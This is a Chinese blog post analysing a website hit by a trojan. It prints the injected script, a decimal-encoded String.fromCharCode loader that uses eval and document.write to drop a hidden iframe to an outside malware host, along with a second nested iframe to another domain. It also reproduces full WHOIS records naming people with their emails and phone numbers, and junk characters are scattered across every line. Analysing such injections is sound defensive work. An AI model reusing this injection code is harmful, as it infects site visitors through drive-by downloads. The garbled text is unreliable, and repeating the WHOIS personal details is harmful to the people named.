首发在我的博客里面，
KY+]RxX t.U{ Bu
P http://www.areway.cn/?p=175 GAp!nix6h LdEE+"J w #U@| J}a 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
VQ< 5%+ ?D=8 {!R3 <script>t=’60,105,102,114,97,109,101,
qd(hQsfqYU 32,115,114,99,61,104,116,116,112,58,47,47,
|M E{gy`5 102,114,101,101,46,117,45,117,117,117,46,99,
w1i?# !| 110,47,101,114,114,111,114,46,104,116,109,
]>8)|]O6n 32,119,105,100,116,104,61,49,48,48,32,104,
dtTlIhh 1V 101,105,103,104,116,61,48,62,60,47,105,102,
~6d5zI4\ 114,97,109,101,62′;
3cThu43c t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
.Dx2 ;lj }cW#045es <script>t=’60,105,102,114,97,109,101,32,115,
=l,#iYJP8 114,99,61,104,116,116,112,58,47,47,102,114,
ML= z<u+ 101,101,46,117,45,117,117,117,46,99,110,47,
^:z7E1 ~ 101,114,114,111,114,46,104,116,109,32,119,
f3 &/r 105,100,116,104,61,49,48,48,32,104,101,105,
) b:4uK
A 103,104,116,61,48,62,60,47,105,102,114,97,
5f_7&NxT 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
@vAFfYU9<. document.write(t);</script>
b n-=fb( `qu] Pxk <html xmlns=”
CQ> ]jQ,2 http://www.w3.org/1999/xhtml 4B$bj `h “>
WG%2 < Q^ <head>
,q</@}.\wN <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
3;Hd2 ;G <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
2AK}D%jfc <title>首页 - 爱生活家庭网
6x 4_b kqf8= y 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
$1e pf 转换字符串后的大概内容是（谁点击后果自付）：
6~@5X}^<0 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
usH%dzKK ]l&'k23~p 查询玉米u-uuu.cn的详细信息：
o#}mkE87 Domain Name: u-uuu.cn
+-ewE-:|L ROID: 20070901s10001s64972306-cn
x wOE+ Domain Status: ok
(8x
gn Registrant Organization: 王雷
]!aUT & Registrant Name: 王雷
ImHU:iR[J- Administrative Email:
czlovexs@126.com r|-J8s# Sponsoring Registrar: 北京万网志成科技有限公司
a 8Qfk Oe Name Server:ns.yovole.com
G_(ct5:_"! Name Server:ns1.yovole.com
Tf[dZ( +\ Registration Date: 2007-09-01 17:54
4)nt$fW Expiration Date: 2008-09-01 17:54
v, 0<9! 'v 最后PING了一下地址 都没有什么….
7d9Z/J@> 0WXV c 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
VIg \]%qse <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
E9R]sXf8 <script language=”javascript” src=”
L* ^
V5^- http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script .vaJ Avg >
5!h<b3u>] 这个玉米应该有可能是木马作者的：
BS.= foafau.info的详细信息：
C P&o%Uc* Access to INFO WHOIS information is provided to assist persons in
)_Iz>) determining the contents of a domain name registration record in the
{aIZFe}B Afilias registry database. The data in this record is provided by
dEET}s \ Afilias Limited for informational purposes only, and Afilias does not
R@$+t:} guarantee its accuracy. This service is intended only for query-based
k =| K| access. You agree that you will use this data only for lawful purposes
AY;<q$8j%, and that, under no circumstances will you use this data to: (a) allow,
`oXg<tivU enable, or otherwise support the transmission by e-mail, telephone, or
t=
*Jg/$ facsimile of mass unsolicited, commercial advertising or solicitations
-XW8 LaQB to entities other than the data recipient’s own existing customers; or
Tzf$*Uje3 (b) enable high volume, automated, electronic processes that send
8_ X. c queries or data to the systems of Registry Operator, a Registrar, or
xT=ySa$|> Afilias except as reasonably necessary to register domain names or
TrQm]9 @ modify existing registrations. All rights reserved. Afilias reserves
^'Y HJEK the right to modify these terms at any time. By submitting this query,
r0u J$/! you agree to abide by this policy.
S}mm\<=1 Domain ID:D22418703-LRMS
CjV7q y Domain Name:FOAFAU.INFO
D!me%; Created On:20-Nov-2007 16:05:42 UTC
D 2$ ^ " Last Updated On:20-Nov-2007 16:05:44 UTC
5p{25N_t Expiration Date:20-Nov-2008 16:05:42 UTC
#G~wE*VR$ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
oX {@'B Status:CLIENT DELETE PROHIBITED
9 t A E#A Status:CLIENT RENEW PROHIBITED
B!iFmkCy Status:CLIENT TRANSFER PROHIBITED
FE}s#n_Pd Status:CLIENT UPDATE PROHIBITED
kwc*is Status:TRANSFER PROHIBITED
23k)X"5 Registrant ID:GODA-040110615
]_\AHnJ Registrant Name:liu hong
pU@YiwP"]x Registrant Organization:
L6x B`E9 Registrant Street1:beijing
V8T#NJ Registrant Street2:
S*s:4uf Registrant Street3:
J@gm@ jLc Registrant City:beijing
K4Y' B
o4 Registrant State/Province:
$E @ouX? Registrant Postal Code:100000
jJ<;2e~OW Registrant Country:CN
(gD Q\t@3- Registrant Phone:+86.860108888777
X98#QR#m Registrant Phone Ext.:
lJ lhl7 Registrant FAX:
$':JI#
Registrant FAX Ext.:
6+ ?w np- Registrant Email:bbbshiji@163.com
G
~A$jStm Admin ID:GODA-240110615
}pK v. Admin Name:liu hong
>~^`5a`$uI Admin Organization:
XJ O[[G` Admin Street1:beijing
n fa_8 Admin Street2:
'(T mV#3 Admin Street3:
?N`qLGRm Admin City:beijing
cB <O.@ Admin State/Province:
| zh + Admin Postal Code:100000
eX@ v7i,} Admin Country:CN
" &Gw1.p Admin Phone:+86.860108888777
A`IHP{aB Admin Phone Ext.:
R~ $hWu}} Admin FAX:
&M$Bt} < Admin FAX Ext.:
F:S"gRKz Admin Email:bbbshiji@163.com
^?nP$+gq Billing ID:GODA-340110615
!*5_pGe Billing Name:liu hong
!"`Jqs Billing Organization:
u?H@C)P Billing Street1:beijing
dK`(BA{`3 Billing Street2:
7 oD
y7nV4 Billing Street3:
6N&| 2: U Billing City:beijing
<5M_EJp Billing State/Province:
CuIqh BW! Billing Postal Code:100000
f&f`J/( Billing Country:CN
% uj[ ` Billing Phone:+86.860108888777
.(JE-upJ" Billing Phone Ext.:
hRa\1Jt>a Billing FAX:
;eP_;N5+ J Billing FAX Ext.:
p1kl LX Billing Email:bbbshiji@163.com
*/4tJ G1 U Tech ID:GODA-140110615
@K7ebYr? Tech Name:liu hong
<o ~t$ TH Tech Organization:
WejyYqr34- Tech Street1:beijing
J}:&eS Tech Street2:
IeH^Wm&^ Tech Street3:
&yB% QX{3 Tech City:beijing
=,O /,2) Tech State/Province:
)dqR<) Tech Postal Code:100000
7:z>+AM[r Tech Country:CN
' 4,y Tech Phone:+86.860108888777
hN[X 1* Tech Phone Ext.:
*B %y`cj| Tech FAX:
]9#CVv[rq Tech FAX Ext.:
AjG)1 Tech Email:bbbshiji@163.com
7,f:Qi@g Name Server:NS27.DOMAINCONTROL.COM
h,]tQ#!s8 Name Server:NS28.DOMAINCONTROL.COM
YXgWH'i~ Name Server:
tc"T}huypU Name Server:
=Y/}b\9`T Name Server:
q)NXyy4BT Name Server:
DQ%`v = Name Server:
E1#H{ )G Name Server:
K4_~ruhr Name Server:
Wa (W&] Name Server:
c$.UE Name Server:
FMoJ"6Q Name Server:
0, : iE\ Name Server:
$|rCrak; [+y &HNf 接着下载每个文件里面的代码：
fBf]4@{ 一步一步看..
_cR6ik zW( 
NS
h%t+XU] 
3T"2S[gT 
VIb;96$Or 
92s4u3 L; 
BO[+E ' 2 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
